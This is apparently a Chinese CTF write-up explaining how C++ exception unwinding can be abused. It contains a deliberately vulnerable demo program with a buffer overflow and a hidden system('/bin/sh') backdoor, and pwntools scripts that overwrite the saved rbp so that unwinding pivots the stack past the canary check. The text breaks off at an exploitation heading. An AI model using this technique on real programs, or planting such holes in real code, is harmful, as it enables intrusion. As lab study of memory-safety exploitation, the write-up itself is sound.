C++异常处理机制

C++异常处理机制探究

介绍

CTF 赛题里,考察 C++ 异常处理并不稀奇,命中点多半出在异常展开(栈回退)阶段的控制流。本篇将沿着 throw → 处理器搜索 → 清理回退(cleanup) → 进入 handler 的流程,把运行库与编译器生成代码如何协同拆解分析,并结合常见漏洞(如劫控制流、栈迁移 、Canary校验绕过)示范可利用的打点思路。

调试分析

调试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// advanced_exceptions.cpp
// Build(便于观察回滚/配合 RBP/RET 实验):
// g++ advanced_exceptions.cpp -o advanced_exceptions -no-pie -fPIC

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>


struct scope_log {
const char* tag;
scope_log(const char* t) : tag(t) { printf("[enter] %s\n", tag); }
~scope_log() noexcept { printf("[leave] %s\n", tag); }
};

static void echo_and_check() {
scope_log g("echo_and_check");

char small[16] = {0};
char big[256] = {0};

write(1, "input> ", 7);
ssize_t n = read(0, big, 0x200);
if (n < 0) {
perror("read");
throw "io_error";
}

if (n > 0 && big[n - 1] == '\n') {
big[--n] = 0;
}

if ((size_t)n > sizeof(small) - 1) {
throw "too_long";
}

memcpy(small, big, (size_t)n);
small[n] = 0;

printf("[ok] got(%zd): \"%s\"\n", n, small);
}

void backdoor()
{
try
{
printf("Congratulations on learning c++ exception handling ");
}

catch (const char *s)
{
printf("catched the exception: %s\n", s);
printf("Start executing backdoor functions");
system("/bin/sh");
}
}

int main() {
try {
scope_log g("main");
echo_and_check();
puts("--- fence ---");
throw 7;
}

catch (const char* s) {
printf("[caught const char*] %s\n", s);
}

catch (int v) {
printf("[caught int] %d\n", v);
}

puts("[done]");
return 0;
}

异常处理流程探究

程序主要在输入触发异常,然后程序进行异常处理。我们先研究一下异常处理流程。

下面是测试POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - basis Template
Author: p0ach1l
Date: 2025-09-12
description: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwnscript import *

filename = "./advanced_exceptions"
url = ''
gdbscript = '''
b * 0x40152D
b * 0x4015C4
'''
set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5)
p = pr(url=url , filename=filename , gdbscript=gdbscript , framepath='')
elf = ELF(filename)

payload = cyclic(0x120 , n = 8)
p.sendafter("input> " , payload)


p.interactive()

我们发送0x120个字节,触发异常条件,程序会捕捉到异常,然后调用throw抛出异常

image-20250912160736154

接着我们步入到throw函数中,运行到__cxa_throw+54,发现调用了_Unwind_RaiseException

_Unwind_RaiseException这个函数主要作用有两部分:

  1. Phase 1:搜索处理器,但是不改变栈帧。

    • 有无可匹配的 catch
    • 该帧是否需要跑 cleanup(仅清理、不接异常)
  2. Phase 2:实际展开,回退栈

    • 遇到有 cleanup 的帧 → 跳到该帧的 cleanup landing pad 执行析构等,然后由生成代码调用__Unwind_Resume 继续展开;
    • 到达匹配的 catch landing pad → 把控制权交给你的 catch 代码,展开结束。

image-20250912160930628

我们步入到_Unwind_RaiseException函数内部,一直调试到最后阶段,发现rsp , rbp进行了回退,恢复成抛出异常的函数

image-20250912162218737

然后跳转到rcx,我们在ida中定位一下,是抛出异常函数的cleanup,会调用构析函数,然后调用_Unwind_Resume

image-20250912171311053

我们再跟进_Unwind_Resume函数,看看这个函数干了那些事情,经过调试发现,又进行了回退栈帧

image-20250912171844178

我们继续ida跟着rcx,指向析构函数。跳转到catch模块去匹配参数,如果成功匹配,跳转到对应的处理模块进行处理,如果没有匹配成功,继续执行_Unwind_Resume,向上抛出异常,进行栈回退

image-20250912171950887

修改rbp的影响

我们把上面的demo的main函数中的scope_log进行注释,目的就是让main函数没有canary插入,而echo_and_check函数有

下面是测试POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - basis Template
Author: p0ach1l
Date: 2025-09-12
description: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwnscript import *


filename = "./advanced_exceptions"
url = ''
gdbscript = '''
b * 0x40152D
b * 0x4015C4
'''
set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5)
p = pr(url=url , filename=filename , gdbscript=gdbscript , framepath='')
elf = ELF(filename)

bss_addr = 0x00000000004040A8

payload = cyclic(0x120 , n = 8) + p64(bss_addr)
p.sendafter("input> " , payload)

p.interactive()

还是和上面分析的一样,我们直接跟踪到进行栈回退操作_Unwind_Resume,步入函数,调试最后进行栈回退,我们发现rbp因为我们已经修改过,进行回退的时候,就会回退到我们修改的rbp

image-20250912173944387

然后我们继续执行main函数中异常处理快,之后main函数会正常返回会执行一个leave ret,这样就完成了一个栈迁移操作,可以类似的认为,栈回退相当于执行了一次leave ret,加上函数自身的leave ret,即可完成栈迁移。

image-20250912181114747

漏洞利用

nepctf